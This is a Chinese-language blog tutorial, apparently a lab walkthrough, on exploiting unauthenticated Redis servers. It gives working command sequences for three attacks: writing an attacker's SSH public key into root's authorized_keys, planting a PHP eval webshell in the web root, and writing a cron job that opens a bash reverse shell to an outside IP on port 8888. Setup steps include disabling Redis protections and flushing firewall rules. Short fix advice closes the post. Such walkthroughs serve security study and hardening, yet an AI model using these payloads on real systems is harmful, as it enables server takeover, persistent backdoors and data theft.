Redis未授权访问漏洞利用详解

简介:

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。

Redis因配置不当可以未授权访问(窃取数据、反弹shell、数据备份操作主从复制、命令执行)。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。

影响版本:

Redis 2.x,3.x,4.x,5.x

复现

环境搭建

安装redis

centos系统:

参考​:https://jingyan.baidu.com/article/020278114119b71bcc9ce5bf.html

windows系统:

https://github.com/microsoftarchive/redis/releases
对应的.msi版本下载之后,傻瓜式安装即可;

kaili:

apt-get install redis-server -y

安装完毕以后:

修改配置文件

linux系统的redis.conf文件或windows系统的redis.windows.conf、redis.windows-service.conf文件

修改如下内容:

#bind 127.0.0.1  //注释这条
protected-mode no    //非保护模式
daemonize yes    //进程守护,后台运行

服务端(靶机)启动redis-server同时加载配置文件

redis-server /etc/redis.conf  
redis-cli     //测试连接本地
exit   //测试完毕后退出

如下显示已经安装成功。

在这里插入图片描述

Redis常用命令

  set testkey "Hello World"         # 设置键testkey的值为字符串Hello World
  get testkey                       # 获取键testkey的内容
  SET score 99                      # 设置键score的值为99
  INCR score                        # 使用INCR命令将score的值增加1
  GET score                         # 获取键score的内容
  keys *                            # 列出当前数据库中所有的键
  get anotherkey                    # 获取一个不存在的键的值
  config set dir /home/test         # 设置工作目录
  config set dbfilename redis.rdb   # 设置备份文件名
  config get dir                    # 检查工作目录是否设置成功
  config get dbfilename             # 检查备份文件名是否设置成功
  save                              # 进行一次备份操作
  flushall 删除所有数据
  del key 删除键为key的数据

关闭防火墙:

临时关闭:
sudo systemctl stop firewalld
禁止开机启动
systemctl disable firewalld

服务端:

redis-server  /etc/redis.conf

redis客户端:

redis-cli  -h  10.1.8.158

在本机上测试:
在这里插入图片描述
测试完以后exit,退出,另一个客户端就可以连接了。

在kaili上测试:
在这里插入图片描述

不需校验直接就可以连接redis,存在Redis未授权访问漏洞。

备注:

测试的时候如果出现redis客户端一直连不上的情况,在靶机上执行了以下命令,客户端就可以连接上了。

iptables -L -nv
iptables -F

只要是linux,任何发型版本都有iptables,firewall和ufw都是调用的iptables,虽然我把firewalld关了,但是还是有iptables策略。
在这里插入图片描述

利用

利用姿势1,redis写入ssh公钥,获取操作系统权限

当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

在靶机中创建ssh公钥存放目录(一般是/root/.ssh)

  mkdir /root/.ssh  

靶机中开启redis服务

redis-server  /etc/redis.conf

在攻击机中生成ssh公钥和私钥,密码设置为空:

ssh-keygen –t rsa

进入.ssh目录,然后将生成的公钥写入 ceshi.txt 文件

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") >ceshi.txt

将保存ssh的公钥ceshi.txt写入redis

cat ceshi.txt | redis-cli -h 10.1.8.158 -x set crack

在这里插入图片描述

攻击机连接 靶机Redis

redis-cli  -h  10.1.8.158

使用 CONFIG GET dir 命令得到redis备份的路径,更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)并设置上传公钥的备份文件名字为authorized_keys::

 config get dir
 config set dir /root/.ssh/
 config set dbfilename "authorized_keys"
 save

在这里插入图片描述

至此成功写入ssh公钥到靶机。

然后在攻击机上使用ssh免密登录靶机:

ssh -i id_rsa root@10.1.8.158

在这里插入图片描述

利用姿势2,直接向Web目录中写webshell

前提条件:

redis可以连接,且知道web目录路径。

示例
在redis客户端,连接redis服务器后,输入命令:

set x "\n\n\n<?php @eval($_POST['redis']);?>\n\n\n"
config set dir /www/admin/localhost_80/wwwroot    //根据具体的网站路径来写,我是用phpstudy搭的,所以写这个了
config set dbfilename shell.php
save

在这里插入图片描述

//其中\n\n\n代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
将dir设置路径为网站根目录,dbfilename设置文件名为shell.php,再执行save或bgsave,于是就将一句话写到网站根目录下了。
使用菜刀,连接http://10.1.8.158/shell.php,密码为redis,连接成功:
在这里插入图片描述

利用姿势3,linux计划任务执行命令反弹shell:

原理:

首先同样利用了redis数据库的备份功能,在我们不知道网站绝对路径的时候,可以利用linux的定时任务特性:因为Linux会监测/etc/crontab的内容,当我们将反弹shell的命令使用redis备份到/etc/crontab中,就可以获得反弹shell。

cron介绍

我们经常使用的是crontab命令是cron table的简写,它是cron的配置文件,也可以叫它作业列表,我们可以在以下文件夹内找到相关配置文件。

/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名
/etc/crontab 这个文件负责调度各种管理和维护任务。
/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
我们还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。
其他crontab知识可以参考:https://www.runoob.com/w3cnote/linux-crontab-tasks.html

注意:
在不同系统中,root的位置是不一样的
在kali和ubantu中,其文件位置为/var/spool/cron/crontabs/root,在centos系列中位置为/var/spool/cron/root,通常情况下没有root文件,需要自己创建。

示例:

VPS开nc监听需要反弹shell的端口:
在这里插入图片描述

客户端连接上Redis服务端以后,执行:

set xxx "\n\n* * * * * bash -i>& /dev/tcp/104.168.147.13/8888 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

//添加名为xxx的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,开始和结束的\n必须要有一个,也就是前后各有一个,当然,多个可以,主要是为了避免crontab的语法错误。
在这里插入图片描述

反弹shell命令成功写入了靶机的/var/spool/cron/root中:

在这里插入图片描述

检查定时任务是否执行:

tail -10000f /var/log/cron | grep 'bash'     //后面是加关键字

在这里插入图片描述
VPS成功获得反弹shell:
在这里插入图片描述

修复建议

1、禁止外部访问Redis服务端口

2、禁止使用root权限启动redis服务

3、配置安全组,限制可连接Redis服务器的IP

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值